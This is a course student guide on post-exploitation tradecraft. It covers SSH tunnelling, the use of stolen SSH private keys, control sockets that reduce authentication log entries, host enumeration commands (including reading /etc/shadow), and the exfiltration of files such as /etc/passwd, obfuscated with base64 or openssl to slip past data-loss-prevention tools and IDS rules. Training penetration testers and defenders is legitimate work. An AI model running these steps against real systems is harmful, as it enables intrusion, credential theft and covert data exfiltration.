# Post Exploitation


Version Date: 24 SEP 2018

Student Guide Printable Format

# Skills and Objectives

Section 7.2.2: Local Enumeration
Section 7.3: Post exploitation

# Table of Contents

# Post Exploitation

**Outcome**:

# Secure Shell (SSH)

Secure Shell is a network protocol that allows users to access remote systems securely through the use of encryption.

- Suite of tools that are bundled together that utilize the SSH protocol
- Written and released to replace a clear-text suite of programs called Remote Shell (RSH).
    - All the capabilities of RSH were included with SSH along with many more features which make the SSH suite of programs more robust and can perform a plethora of tasks.

Secure Shell added capabilities include:

- Access remote systems using an SSH server as a proxy
- Securely transfer files
- Execute commands on a remote system
- VPN using the SSH protocol as a transport
- Forwarding the X Window System display to the client system
- And many others

**Basic SSH command syntax**

To remotely access a system with SSH the typical usage is:

```
ssh -p <Port#> <User>@<IP ADDRESS>
```

The default SSH port is 22, and the `-p` doesn't have to be specified unless the SSH server is listening on a different port.

No matter what port forwarding you are utilizing, you `ALWAYS` authenticate to an SSH server, so the basic SSH command syntax is required for all scenarios.

## Local Port Forwarding Overview

Local port forward bind ports follow the rules of the security context of the user creating them since they are local to the system in which the commands are executed.

Any user can create a local port forward, by default the local bind port will be attached to the loopback address on the system where the command is executed.

- Root users can bind to any port to include ports below 1024
- Non-root users can only bind to ports 1024 and above

- Both root and non-root users can bind to any legal IP address on the system including the quad zeros (0.0.0.0)

## Remote Port Forwarding Overview

Remote port forward bind ports follow the rules of the security context of the user authenticating to the remote system combined with configuration settings on the remote SSH server.

Any user can create a remote port forward. By default the remote bind port will be attached to the loopback address on the system to which you are authenticating.

- Root users can bind to any port to included ports below 1024
- Non-root users can only bind to ports 1024 and above
- Both root and non-root users can bind to any legal IP address on the system including the quad zeros (0.0.0.0)

## Windows Port Proxy

Windows did not include an SSH client or server until Windows 10, after which OpenSSH was utilized. This allows the use of the same Local and Remote Port Forwarding techniques. An added capability unique to Windows is the use of NETSH and its PortProxy capability.

Portproxy allows you to listen on a certain port on one of your network interfaces (or all interfaces) and redirect all traffic to that interface (on your computer) to another port/IP address. Items to consider:

- Windows Firewall settings need to allow your desired ports

```
  Syntax:
  netsh interface portproxy add v4tov4 listenport=<LocalPort> listenaddress=<LocalIP>
connectport=<TargetPort> connectaddress=<TargetIP> protocol=tcp

  Example:
  netsh interface portproxy add v4tov4 listenport=1111 listenaddress=192.168.1.111
connectport=80 connectaddress=192.168.0.33 protocol=tcp
```

View the PortProxy:

```
  netsh interface portproxy show all
```

Delete the PortProxy:

```
  netsh interface portproxy delete v4tov4 listenport=<LocalPort>
```

Delete all PortProxies set up:

```
netsh interface portproxy reset
```

# Pivoting and Redirection

**Introduction**

You have compromised a system. Pat yourself on the back and call it a day, right? Wrong! Now it is time to start leveraging the territory you have taken, and dig further into the network, but realize that any action you take could give away your presence and cost all the work you have done up until this point. For example, uploading your best tools increases the noise level. If you get caught and booted from the system, then you just burned your tools, because now somebody else has them. What do you do to maneuver through the network and reduce the noise level? Operating systems include a plethora of tools, that although are meant to assist in the proper operation of a system, can be used in other ways to meet the goals of network infiltration, further exploitation, and exfiltration.

# SSH Keys

**Introduction**

An SSH key is a private/pubic key pair that can be used for authication. SSH keys can be use to replace password authintication or be used in comibination with passwords. Because they are cryptographic keys it can be considered more secure than using a password. Cryptographic keys are harder to bruteforce or crack compared to passwords.

SSH keys are broken down into two keys:

- Authorized Keys
  - The public key part of the pair
  - Grants access to the system they are on
- Identity Keys
  - The private key part of the pair
  - Used to authenticate to the computer that has the paired public key

## Stealing SSH Identity Keys

The purpose of stealing a users identity key is to give an attacker a potential way to access other targets. It would be the same thing as finding a password on the system and then trying that password on other tragets to try and gain access

While enumerating a target machine it may be possible to find a users identity key (private key) in a location where the attacker has access to the key. If an attacker is able to access the private key they can bring that key onto their own system and use it in an attempt to gain acess to to other

systmes on the target network.

| NOTE | The stolen identity key must have its paired authorized key on any system you are trying to access in order for you to authenticate to the targeted system |
|---|---|

**Using Stolen Identity Key**

Once identity key has been taken from a target it must be prepped before use on you box

*On your attack box*

1. Set permissions to user only read and write

```
chmod 600 /home/user/stolenkey
```

2. Use `-i` option when SSHing to new target

```
ssh -i /home/user/stolenkey jane@10.20.30.40
```

`-i` lets you select a specific identity key to use. By default it will look in you own `.ssh/` folder for a key to use

| NOTE | When logging in with a stolen key, login as the user who owned the key you stole. For example if you stole a key from user "jane" log in as user "jane" |
|---|---|

3. If target systme has a authorized key (public key) that pairs with the key you stole you should get logged into the system

# SSH Control Sockets

**Introduction**

Control sockets used during operations...

Why use control sockets over regular SSH port fowarding?

- Multiplexing - Create more than one connection through an already established secure channel
- Data exfiltration - Downloading through an already established secure connection
- Less logging - One log entry for initial connection and additional connections over the multiplexed channel produce no addtional log entries.
- Produces less noise which reduces the chances of getting noticed.

Utilizing control sockets with SSH is client-driven. They can be employed by specifying SSH commands with the appropriate command line arguments, or can be made persistent by adding/modifying the settings in the clients configuration file(s). In Linux the system wide SSH client configuration file is /etc/ssh/ssh_config, and the per-user SSH client configuration file is the

~/.ssh/config.

**Man Page SSH Switches**

```
  -M
Places the ssh client into “master” mode for connection sharing.  Multiple -M options
places ssh into “master” mode with confirmation required before slave connections are
accepted.  Refer to the description of ControlMaster in ssh_config(5) for details.

  -o option
Can be used to give options in the format used in the configuration file.  This is
useful for specifying options for which there is no separate command-line flag.  For
full details of the options listed below, and their possible values, see
ssh_config(5).
          Options:
          ControlPath ***************************
          ControlMaster
          ControlPersist

  -S ctl_path
Specifies the location of a control socket for connection sharing, or the string “none”
to disable connection sharing.  Refer to the description of ControlPath and
ControlMaster in ssh_config(5) for details.
```

## Demo: SSH Control Sockets

**SSH without Control Sockets, showing the various connections and logs that are grenerated**

- From one terminal, connect to the destination using typical SSH

```
ssh root@<IP ADDRESS>
```

- View established connections on destination system

```
ss -ntp
ESTAB   0   0   10.50.25.57:22   10.50.25.111:47948
```

- Examine SSH authentication entries on destination system

```
tail /var/log/auth.log
--Ouput ommited--
Feb 25 15:33:10 localhost sshd[3699]: Accepted password for root from 10.50.25.57 port
47948 sshd
```

| | |
|---|---|
| **NOTE** | Each connection, even sourced from the same system, will generate a respective |

established connection and authentication log entry.

**SSH with Control Sockets, showing that it does not create repeated events.**

- SSH to destination system, set master mode, set control path to /tmp/s

```
ssh -M -S /tmp/s root@<IP ADDRESS>
```

- View control path on Terminal 1 (not required, but used to understand that a socket is created for subsequent shared connections if used)

```
ls -l /tmp/s
srw------- 1 root root 0 Feb 25 15:06 /tmp/s
```

- View established connections on destination system

```
ss -ntp
ESTAB   0   0   10.50.25.57:22   10.50.25.111:49042
```

- Examine SSH authentication entries on destination system

```
tail /var/log/auth.log
--Ouput ommited--
Feb 25 15:33:10 localhost sshd[3699]: Accepted password for root from 10.50.25.57 port
49042 sshd
```

**NOTE** Only the first connection where the control socket was created and is the only connection that has a respective established connection and authentication log entry. As long as each connection from the same source system utilizes the existing control path, no further connections or authentication log entries will be generated on the remote system. This reduces the noise level and aids in not getting noticed.

## Demo: Manipulate SSH Config for Master Control Socket

**Making SSH Control Sockets Persistent**

As discussed previously, SSH control sockets can be made persistent even when not specifying the command line options to use them. The following settings can be configured in either or both the system wide SSH configuration file /etc/ssh/ssh_config, or the per-user configuration file ~/.ssh/config, but the per-user configuration file will take precedence over the system wide SSH client configuration file.

If it is only desired to use control sockets to specified systems, then create individual entries for each host by using the approprate hostname and control socket configuration entries:

```
HostName machine1.example.org
ControlPath ~/.ssh/controlmasters/%r@%h:%p
ControlMaster auto
ControlPersist 10m
```

In this preceding example, a control socket is used when connecting to "machine1.example.org." For connections to systems other than "machine1.example.org" will need their own configuration.

The socket will be created in the "~/.ssh/controlsmasters/" directory and will be given the name user@host:port (%r - remote user name, %h - remote host name, %p - remote port).

ControlMaster accepts five different values: 'no', 'yes', 'ask', 'auto', and 'autoask'.

- 'no' is the default. New sessions will not try to connect to an established master session, but additional sessions can still multiplex by connecting explicitly to an existing socket.
- 'yes' creates a new master session each time, unless explicitly overridden. The new master session will listen for connections.
- 'ask' creates a new master each time, unless overridden, which listen for connections. If overridden, ssh-askpass(1) will popup an message in X to ask the master session owner to approve or deny the request. If the request is denied, then the session being created falls back to being a regular, standalone session.
- 'auto' creates a master session automatically but if there is a master session already available, subsequent sessions are automatically multiplexed.
- 'autoask' automatically assumes that if a master session exists, that subsequent sessions should be multiplexed, but ask first before adding a session.

Refused connections are logged to the master session.

The ControlPersist option specifies whether to keep the control socket active when idle, or for how long. The options are 'yes', 'no' or a time interval. If a time interval is given, the default is in seconds. Units can extend the time to minutes, hours, days, weeks or a combination. If 'yes' the master connection stays in the background indefinitely.

To make SSH user control sockets for all SSH connections, a wildcard can be specified with the Host option:

```
Host *
ControlMaster auto
ControlPath ~/.ssh/cm_socket/%r@%h:%p

mkdir ~/.ssh/cm_socket
```

# Host Enumeration

**Introduction**

Each situation will dictate the method of enumeration. If accessing one of your own systems, you need not be concerned with the noise level, as you are an authorized user. If you are performing a penetration test, or are on an adversary box, your techniques will have to change, in order to avoid detection and provide situational-awareness, before you take your next steps.

## Enumerating Users

Risk associated with users

- How do we differentiate the various levels of users?
- Logged in Console vs. TTY

Why do we need to characterize the users on a system?

- Users have access to resources. If an organization is performing its due care and due diligence, then each user has access only to the resources required to perform their duties. Knowing which users to target will aid in quickly reaching the goals of mission at hand.
- Don't always think that you must escalate privileges vertically. Horizontal, or lateral, movement can have great value. As mentioned, each individual may have different access, and by laterally moving from user to user, you are continuing to gain access to additional resources. Each user, on their own, may not have the keys to the kingdom, but lateral movement can incrementally expose the keys.
- Organizations, through haste in providing users the access they need to perform their job, are sometimes negligent in removing unnecessary access. For example: Mary is in Sales, and she is provided access to "Sales" resources. She is transferred into Marketing, so the administrators place her user account in the Marketing group, and fail to remove her from the Sales group. This privilege creep can give users more access than they need, and focusing on these types of users could provide more benefit than a user of a single group.
- There are users that typically have special access such as Administrator or Root. Although these names are used for us humans, there are numeric identifiers for accounts that are just as important to know, and understand, as logical names can be changed.

**Windows User Enumeration Commands**

```
net user                           - Displays a list of local users by username
net user <username>                - Displays properties associated with that username
net localgroup                     - Displays a list of local groups on the system
net localgroup <groupName>         - Provides a description of what the local group
can do with a list of members in that group
wmic useraccount get name,sid      - This command displays the Security IDs (SIDs) of
all user accounts on the system. If you know the username, use this command: wmic
useraccount where name="USER" get sid
```

**Linux User Enumeration Commands**

```
cat /etc/passwd *OR* getent passwd - List of all users/accounts on the local system by
name, user-id, comment, home directory, and shell.
cat /etc/shadow                    - List of all users/accounts on the system along
with their hashed passwd, password age, and  expiration information.
last                                 - History of previous account login/logout by
username, terminal (local, remote), system/IP, date/time of login/logout, and
duration.
who                                  - Who is currently logged into the system by
name, terminal (local/remote), date/time they logged in, and IP address if remote.
w                                  - Who is currently logged into the system by
username, terminal, and what they are doing.
whoami                             - Displays the user name of the user running the
command
groups                             - Displays the list of groups to which the user
running the command is a member
id                                 - Displays the username, userid, group name(s), and
groupid(s) of the user running the command
```

| | |
|---|---|
| **NOTE** | Commands such as w, id (and others): The output of these commands is distinctive and an IDS/IPS rule can be written to detect its use. Although they are benign commands, they are infrequently used, and its use indicates that someone is attempting to enumerate a system. Although these rules will potentially produce false positives because of legitimate command utilization, it is sometimes best to side on paranoid and **ensure** that they are being used legitimately. Knowing this, to avoid detection, it is often best to run commands that will give the same information, but produce output in a way that would be challenging to detect. For example: Instead of the "id" command, use the commands "whoami" and groups as their output is too generic for a reliable rule. |

## Enumerating processes

What is the system doing?

- Investigating process activity can provide valuable information about a system.
- Can assist in finding unauthorized activity.

Kernel process vs. standard process

- Kernel-mode is typically reserved for the lowest-level, most trusted functions of the operating system. Crashes in kernel mode are catastrophic and can destroy data, and bring the entire system down
- User-mode processes have no ability to directly access hardware or reference memory and have to ask the kernel for access.

**Windows Process Enumeration Commands**

```
tasklist /v
- Displays "verbose" list of all running applications and services with their Process
ID (PID).
wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get
displayname /format:list          - This will return a list of all installed AV
products from the local machine:
wmic process where (processid=#) get parentprocessid,commandline
- Display processes parent PID and command line
```

**Linux process enumeration commands**

```
ps -elf                              - View every process on the system in long format
using standard UNIX syntax.
ps auxf                              - View every process on the system in forest view
using BSD syntax.
pstree                              - Display a tree of processes. Forest view with the
"ps" command tries to mimick this output to a certain degree.
lsof                                 - List open files. Everything in UNIX/Linux is a
file (to a certain degree). The lsof enumerates open files and can provide information
on pretty much all the activity on a system to include networking.  Some of the common
arguments with this command are files associated with a process-ID  "-p PID", and
internet "-i".
```

## Enumerating Services/Daemons

What is a service/daemon/unit?

- The terms service, daemon, and unit are relatively interchangeable. Windows uses the term "service", UNIX SystemV systems use the term "daemon", and UNIX systemd systems use the term "unit." Whatever term you use should be applicable to the system to which you are referring.
- Services/daemons/units are programs that run in the background that generally provide access to resources although not always. For example, sshd (SSH service), will run in the background on a system in anticipation of a remote user attempting to connect to said system. Once a user initiates the connection, the ssh service/daemon/unit will negotiate parameters, test authentication, and if all conditions are satisfied, allow the remote user access to the system.

What type of server is the host?

- Operating system flavor will dictate how to enumerate the system.
- Knowing some of the functions of the server may reveal its purpose and how to leverage it.

**Windows Service Enumeration Commands**

```
tasklist /svc                                          - Displays services hosted
```

```
in each process.
net start                                                - Displays a list of
services that have been started by their display name
wmic service list status                                   - Displays name and
status of services.
Get-Service \ | Where {$_.Status -eq "Running"}             - Powershell method of
determining running services. Displays Name and DisplayName.
```

**Linux Daemon/Unit Enumeration Commands**

```
chkconfig                                                - SystemV method of listing
all installed services
systemctl list-units --type service                      - Systemd method of listing
all installed services
service --status-all                                     - SystemV method of listing
running services.
systemctl list-units --type=service \| grep running      - Systemd method of listing
running services
```

## Enumerating Network Connections

Why is this a concern?

**Offensive view:**

- Who else is connected to this device that could notice my connection?

**Defensive view:**

- Am I the only one that should be connecting remotely to the system?
- What connections don't look normal and what ports are being used?
- Remote administration and Remote Logging

**Windows Network Enumeration Commands**

```
ipconfig /all              - Display local interface information to include IP
address/mask, MAC address, default router/gateway, and DNS settings.
netstat /anob              - Displays local listenting ports, process-id and binary.
wmic netuse list full      - Displays: AccessMask, Comment, ConnectionState,
ConnectionType, Description, DisplayType, InstallDate, LocalName, Name, Persistent,
ProviderName, RemoteName, RemotePath, ResourceType, Status, UserName
net use                    - NET USE connects a computer to a shared resource or
disconnects a computer from a shared resource. When used without options, it lists the
computer's connections.
net view                   - Displays a list of resources being shared on the system.
When used without options, it displays a list of computers in the current domain or
network.
arp -a                     - Displays the arp cache on the system.
```

```
route print                - Displays the system's routing table.
```

**Linux Network Enumeration Commands**

```
ip address *OR* ifconfig -a                - Displays all interfaces on the system
and their current configuration and status.
ss *OR* netstat                            - Displays network connections/sockets.

Options:
-a - displays all listening and non-listening ports
-l - displays only listening ports
-n - displays numeric IP addresses and ports
-p - displays process-id and program name (for root only)
-u - displays UDP sockets
-t - displays TCP sockets

arp -an                                    - Displays the arp cache on the system
with numeric IPs instead of hostname.
ip route *OR* route *OR* netstat -r        - Displays the system's routing table.
```

## Additional areas of focus

The list of commands above is not a complete list. There are other commands to get additional information, along with deprecated commands.

How can the information from these extra commands be helpful in an offensive or defensive view?

**Windows Additional Enumeration Commands**

```
systeminfo             - lists info about the system you are on such as OS, OS
version, product ID, processor(s), BIOS version, input locale, time zone, domain,
hotfix(s), network card(s)
date /t && time /t     - displays the current system date and time
```

**Linux Additional Enumeration Commands**

```
cat /proc/cpuinfo      - displays information about the CPU such as model name,
vendor id, CPU MHz
cat /etc/\*rel*        - displays OS information like the name, version, home url,
and support url
lsmod
```

**Deprecated Linux Networking Commands (And Their Replacements)**

| Deprecated Command | Replacement Command(s) |
|---|---|
| `arp` | ip n (ip neighbor) |
| `ifconfig` | ip a (ip addr), ip link, ip -s (ip -stats) |
| `iptunnel` | ip tunnel |
| `iwconfig` | iw |
| `nameif` | ip link, ifrename |
| `netstat` | ss, ip route (for netstat-r), ip -s link (for netstat -i), ip maddr (for netstat-g) |
| `route` | ip r (ip route) |

# Data Exfiltration

**Introduction**

There are many ways to perform data exfiltration, but the ones you use will depend on your goals. Obfuscating the data is a technique that involves implementing a reversible encoding on the data to ensure that Data Loss Prevention devices/software do not trigger and/or casual eavesdropping doesn't notice the contents of the data, but basic obfuscation is trivial to decode and a seasoned analyst can see patterns in the chaos and would tag it for further analysis. Encryption will also ensure hiding of the contents of the data, while also ensuring protection of the data from decryption. Chunking is technique used to break up large amounts of data into smaller pieces so that it can be sent out piece-by-piece, so it doesn't look like one large stream of data. Utilizing commonly used protocols on the network to blend in also assists to avoid detection. Varying the time in which they are sent out will ensure that it looks random. Combining all of these techniques together can make detection very difficult if employed correctly. You could also use a transport, like SSH, so that your entire session is encrypted so obfuscation of data in transit is not required.

Data exfiltration is the unauthorized transfer of data from a computing device. Data has value and the same data's value may vary to different cyber entities.

## Capturing your session for later extraction of data

**NOTE**

Consider that if you start another connection, such as SSH, SCP, FTP ,etc., then this may raise the noise level. It may be beneficial to utilize the existing connection and display the data in a way that it can be copied/pasted and converted back to its original format. Rather than copy and paste, you can capture the activity in your session.

- Linux session logging:

```
ssh user@target | tee /var/tmp/activity.log
```

- Windows session logging:

```
ssh user@target | tee-object C:\temp\activity.log
```

## Linux data obfuscate Techniques

| | |
|---|---|
| **NOTE** | Using the "tr" command, a simple cipher can be used to obfuscate the data and is easily reversible. |

- The following is a simple ROT1 cipher that will shift the characters 'a-zA-Z0-9' over by one, that is 'a' becomes 'b', etc.

```
cat /etc/passwd | tr 'a-zA-Z0-9' 'b-zA-Z0-9a' > shifted.txt

#The following will decode the shifted text
cat shifted.txt | tr 'b-zA-Z0-9a' 'a-zA-Z0-9'
```

This can be implemented to convert any character to any other character, not just a ROT cipher. With this example, it doesn't replace the colon ':' character, so even after using it, it is easy to identify that original file from the patterns of colons. This can be fixed by ensuring that every source character is taken into consideration when using this, but you have to know your data.

- **Pros** - easy to use, easy to reverse
- **Cons** - easy to detect and reverse. Can work with binary files, but if you want to completely change the source file, you will have to consider every different input value to change.

| | |
|---|---|
| **NOTE** | base64, uuencode, hexdump, od, xxd, etc - obfuscate and convert to text* |

Linux typically includes at least two of the preceding commands that can alter the data in a way that can be reversed. All convert files to a text equivalent, some are a little more challenging to work with, but you use what you have. The easiest one to work with is base64.

```
cat /etc/passwd | base64 > base64ed.txt

#The following will decode the text
cat base64ed.txt | base64 -d
```

- **Pros** - easy to use, easy to reverse. Works well with binary files and converts them into a text format which can be copied and pasted in the existing session as opposed to tranfering using a separate network connection.
- **Cons** - easy to detect and reverse.

| | |
|---|---|
| **NOTE** | OpenSSL is more than likely installed on every modern Linux distribution. It can be used to encrypt, and convert the text so that can be copied and pasted as opposed to tranferred. There are many ways to implement it, but the below demonstrates how to encrypt the file with a password, convert to base64 and use nosalt. The below also shows a password on the command line which is a no-no, but the -k option can be removed and you will be prompted for a passphrase. |

```
cat /etc/passwd | openssl enc -e -base64 -aes-128-ctr -nopad -nosalt -k
secret_password  > openssl.txt

#The following will decrypt the text
cat openssl.txt | openssl enc -d -base64 -aes-128-ctr -nopad -nosalt -k
secret_password
```

- **Pros** - easy to use, easy to reverse. Works well with binary files and converts them into a text format which can be copied and pasted in the existing session as opposed to tranfering using a separate network connection. The output encoding can be changed.
- **Cons** - Encoding types have patterns that are sometimes easy to detect. You may not be able to decrypt it, but you can look for these patterns which will stand out.

| | |
|---|---|
| **IMPORTANT** | Combination of Techniques |

- You could use OpenSSL, and then add some more obfuscation techniques previously discussed to make it much more challenging to detect.
- Forward and reverse // through regular tunnels and control sockets // throttling.

| | |
|---|---|
| **NOTE** | When installing OpenSSH, you are not only getting the "ssh" command, but a suite of commands all part of the OpenSSH package. |

## Windows Data Obfuscation Techniques

| | |
|---|---|
| **NOTE** | String-Replace - implement a simple cipher, Character trasposition is a bit challenging in Windows but can be done with powershell |

```
Get-Content somefile.txt | %{$_ -replace 'a','b' -replace 'b','c' -replace 'c','d'} >
translated.out

#The following will decode the text
Get-Content translated.out | %{$_ -replace 'b','a' -replace 'c','b' -replace 'd','c'}
```

| | |
|---|---|
| **IMPORTANT** | It will be a long command as you have to do each character, but this can be scripted to automate the conversion. Be careful because if you don’t translate every character at once, they you may permanently alter the data in a way that is not reversible. This can be implemented to convert any |

character to any other character, not just a ROT cipher. With this example, it doesn't replace the colon ':' character, so even after using it, it is easy to identify that original file from the patterns of colons. This can be fixed by ensuring that every source character is taken into consideration when using this, but you have to know your data.

- **Pros** - easy to use, easy to reverse.
- **Cons** - easy to detect and reverse. Can work with binary files, but if you want to completely change the source file, you will have to consider every different input value to change.

#### Base64 Encoding of Data

```
certutil -encode data.txt tmp.b64 ; findstr /v /c:- tmp.b64 > data.b64

#The following will decode the text
certutil -decode data.b64 data.txt
```

- **Pros** - easy to use, easy to reverse. Works well with binary files and converts them into a text format which can be copied and pasted in the existing session as opposed to tranfering using a separate network connection.
- **Cons** - easy to detect and reverse.

PowerShell Script: Encrypting / Decrypting A String – Function Encrypt-String

## Data Transfer Through SSH

| | |
|---|---|
| **IMPORTANT** | Usage of these tools will involve establishing an additional connection, to transport the data. This may not be optimal; however, these methods will transport the data securely + Since OpenSSH is on Windows and Linux, you are able use the same commands. |

```
ssh -p PORT +
scp -P PORT +
sftp -P PORT +
```

| | |
|---|---|
| **NOTE** | Even though the ssh command was used to demonstrate control sockets, all three of these commands will utilize control sockets exactly the same way SSH does and will use them as per the system wide, and per-user configuration file or from the command line with the ssh option -o 'ControlPath=<control/socket/location>'. |

#### Upload Through Regular Tunnels

```
ssh root@10.50.22.200 -L 1111:10.50.22.211:22

scp -P <LocalPort> [LOCAL/FILE/TO/TRANSFER] [USER]@<LocalIP>:[/DEST/FILENAME]
```

```
scp -P 1111 /tmp/netcat root@127.0.0.1:/tmp/netcat
```

### Download/Exfil Through Regular Tunnels

```
ssh root@10.50.22.200 -L 1111:10.50.22.211:22

scp -P <LocalPort> [USER]@<LocalIP>:[/FILE/TO/DOWNLOAD]
[/LOCAL/DOWNLOAD/FILE/LOCATION]
scp -P 1111 root@127.0.0.1:/tmp/netcat .
```

### Upload Through Control Sockets

```
# ssh -M -S <control/socket/location> <USER>@<TARG_IP>
<enter password>

scp -o 'ControlPath=<control/socket/location>' [LOCAL/FILE/TO/TRANSFER]
[USER]@<TARG_IP>:[/DEST/FILENAME]
scp -o 'ControlPath=/tmp/s' /tmp/netcat root@127.0.0.1:/tmp/netcat
```

**NOTE**

The operator creates an SSH session to `TARG_IP` and uses the -M option to place the the SSH client into "master" mode for connection sharing. This provides the operator the ability to use the control socket for connection sharing specified by the -S (referred to in the man page as `ctl_path`). In this example, /tmp/s is an arbitrary location selected as the control path. +The /tmp/s file is, for all intents and purposes, acting as a FIFO whenever another SSH client (be that SSH or SCP) sends data, or a file, to it via the `-o` option in the `scp` line. + The operator executes an `scp` (secure copy) command to transfer an arbitrary file to the `/DEST/FILENAME` on `TARG_IP`. Instead of having to authenticate again, the SCP command utilizes the ControlPath located at /tmp/s to transfer the file. By using the ControlPath, the scp command does not have to authenticate to `TARG_IP`, therefore, saving another /var/log/secure or auth.log entry from being made, besides the original SSH connection.

### Download/Exfil Through Control Sockets

```
  scp -o 'ControlPath=<control/socket/location>' [USER]@<TARG_IP>:[/FILE/TO/DOWNLOAD]
[/LOCAL/DOWNLOAD/FILE/LOCATION]
  scp -o 'ControlPath=/tmp/s' root@127.0.0.1:/tmp/netcat .
```

# References

### Windows Enumeration Commands

```
Unresolved directive in lesson-8-post_sg.adoc - include::example$win-commands.ps1[]
```

### Linux Enumeration Commands

```
Unresolved directive in lesson-8-post_sg.adoc - include::example$lin-commands.sh[]
```

SSH and SCP man pages
Master Control Sockets
Master Control Sockets
Deprecated Linux Commands